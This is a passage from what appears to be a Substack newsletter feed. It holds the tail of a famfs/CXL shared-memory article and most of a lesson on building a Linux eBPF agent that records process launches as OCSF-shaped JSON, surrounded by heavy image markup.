disproportionate.</p><p><strong>Page cache double-buffering.</strong> Reading a conventional file copies data from the backing store into the page cache, then again into the application&#8217;s buffer (or maps page-cache pages via <code>mmap</code>). For memory that is already the fastest tier in the system, interposing a full page-cache layer between the application and the underlying memory buys nothing and costs cache pressure and TLB shootdown overhead at multi-terabyte scale.</p><p><strong>Shared-fabric coherency of </strong><em><strong>metadata</strong></em><strong>, not just data.</strong> CXL pooled memory can be attached by several hosts. Data coherency across hosts is a hardware/fabric concern; but <em>metadata</em> &#8212; which byte ranges are allocated, which file owns them, when a new file becomes visible &#8212; is a software problem, and it is exactly the same class of problem as <code>thermal_pressure</code>&#8216;s single-writer/multi-reader per-CPU variable, just stretched across host boundaries instead of CPU boundaries.</p><p>Famfs&#8217;s answer: files are backed by extents drawn from a bitmap allocator over the shared region, and file existence is communicated via an append-only log that any attached host can replay &#8212; read-only hosts never need write access to the allocator or the log.</p><h2>4. Linux Kernel Architecture</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!fM6d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 424w, /__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 848w, /__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 1272w, /__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!fM6d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg" width="1456" height="1003" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1003,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:4797,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/svg+xml&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209746675?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 424w, /__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 848w, /__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 1272w, /__u/substackcdn.com/image/fetch/$s_!fM6d!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6749e6c7-5a63-45ea-b9db-05504cc4bbbb_900x620.svg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/programming-with-famfs-accessing">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Issue 02 — Linux Agent: Process Events via eBPF]]></title><description><![CDATA[Module 1 &#183; Free &#183; tag v02-linux-agent-ebpf]]></description><link>https://howtech.substack.com/p/issue-02-linux-agent-process-events</link><guid isPermaLink="false">https://howtech.substack.com/p/issue-02-linux-agent-process-events</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Sat, 22 Aug 2026 06:58:42 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!VQXm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><blockquote><p>This issue ships the first executable agent: a Linux binary that observes process launches with eBPF and emits OCSF-shaped <code>process_activity</code> JSON. Fixture replay covers CI and non-Linux hosts. Live kernel attach belongs on a Linux Reader VM.</p></blockquote><h2><strong>Tracepoints, kprobes, and why </strong><code>sched_process_exec</code></h2><blockquote><p>eBPF programs run in the kernel under a verifier. They attach to hooks and move small records to userspace through maps. For process creation telemetry, two attachment styles appear in tutorials:</p></blockquote><p><strong>HookStabilityWhat you get</strong><code>sched_process_exec</code> (tracepoint)Stable ABI across kernels that expose the eventFired after a successful exec; filename and task identity are available without reconstructing <code>execve</code> argv from user pages<code>execve</code> / <code>execveat</code> (kprobe)Fragile across kernel buildsEarly argv access at the cost of page-fault handling and symbol churn</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>This course prefers <code>sched_process_exec</code> for production-shaped exec telemetry. Use an <code>execve</code> kprobe only as a teaching contrast: argv capture looks attractive until page faults and symbol drift show up in the field.</p><blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!VQXm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 424w, /__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 848w, /__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 1272w, /__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!VQXm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png" width="1456" height="784" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:784,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:535718,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/210207105?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 424w, /__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 848w, /__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 1272w, /__u/substackcdn.com/image/fetch/$s_!VQXm!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc72fdd7-eefe-4ee0-86ce-569657ea9a05_3744x2016.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">cap<em>Caption: Kernel tracepoint &#8594; ring buffer &#8594; Aya userspace loader &#8594; OCSF-shaped JSON.</em>tion...</figcaption></figure></div></blockquote><blockquote><p>Ring buffers (<code>BPF_MAP_TYPE_RINGBUF</code>) replace older perf-event arrays for high-frequency events: one shared queue, reserve/submit in the program, poll in userspace. Aya (Rust) loads the bytecode, attaches the tracepoint, and reads the map. Check current Aya crate versions on <a href="https://crates.io/crates/aya">crates.io</a> at build time; this issue was verified against <strong>aya 0.14.x / aya-ebpf 0.2.x</strong> (July 2026).</p></blockquote><h2><strong>Durable identity and the process tree</strong></h2><p>Operating systems reuse PIDs. Lineage keyed only on <code>pid</code> collapses under wraparound and long-lived hosts. Issue 01 reserved <code>process.uid</code>; this agent populates it as <code>{boot_id}:{pid}:{start_time_ns}</code> (string). Parent events carry <code>parent_process.uid</code> with the same scheme. Tree reconstruction in userspace indexes by <code>process.uid</code>, not pid alone.</p><blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!L-6K!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 424w, /__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 848w, /__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 1272w, /__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!L-6K!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png" width="1456" height="996" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:996,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:519422,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/210207105?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 424w, /__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 848w, /__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 1272w, /__u/substackcdn.com/image/fetch/$s_!L-6K!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe220068e-ed7b-4e27-8899-ec6783950157_3648x2496.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">capti<em>Caption: Parent&#8211;child edges use durable process.uid; PID reuse alone cannot reconstruct lineage.</em>on...</figcaption></figure></div></blockquote><blockquote><p>Classification fields stay top-level on each event: <code>class_uid</code> 1007, <code>activity_id</code> 1 (Launch), <code>type_uid</code> 100701, <code>severity_id</code> 1. <code>actor.process</code> is the launching parent. Empty <code>process.uid</code> while claiming OCSF alignment breaks Module 7 fixtures and Module 9 joins later.</p></blockquote><h2><strong>Noise filtering and the LSM stub</strong></h2><blockquote><p>An unfiltered exec stream includes the agent binary, shells spawning helpers, and package managers. Lab 3 adds a denylist of basenames and self-pid suppression. This is the first contact with alert fatigue: volume without selection is not detection.</p><p>Prevention products that <em>deny</em> exec use eBPF LSM hooks (<code>bpf_lsm</code>), not observation-only tracepoints. This issue wires a <strong>log-only</strong> LSM stub behind a compile-time feature. Enforce mode needs <code>CONFIG_BPF_LSM</code> and <code>bpf</code> on the active LSM list (often a GRUB change and reboot on Ubuntu). Do not treat &#8220;flip a toggle&#8221; as a one-liner; Module 10 depth labs revisit enforce.</p></blockquote><h2><strong>Where this sits in the system</strong></h2><blockquote><p>The Linux agent is layer 1 of the data plane. Events leave as JSON lines shaped for later protobuf/gRPC ingest. Ingestion, storage, and detection are still stubs.</p></blockquote><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!umZw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 424w, /__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 848w, /__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 1272w, /__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!umZw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png" width="614" height="517.0082417582418" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1226,&quot;width&quot;:1456,&quot;resizeWidth&quot;:614,&quot;bytes&quot;:547824,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/210207105?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="/__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 424w, /__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 848w, /__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 1272w, /__u/substackcdn.com/image/fetch/$s_!umZw!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, 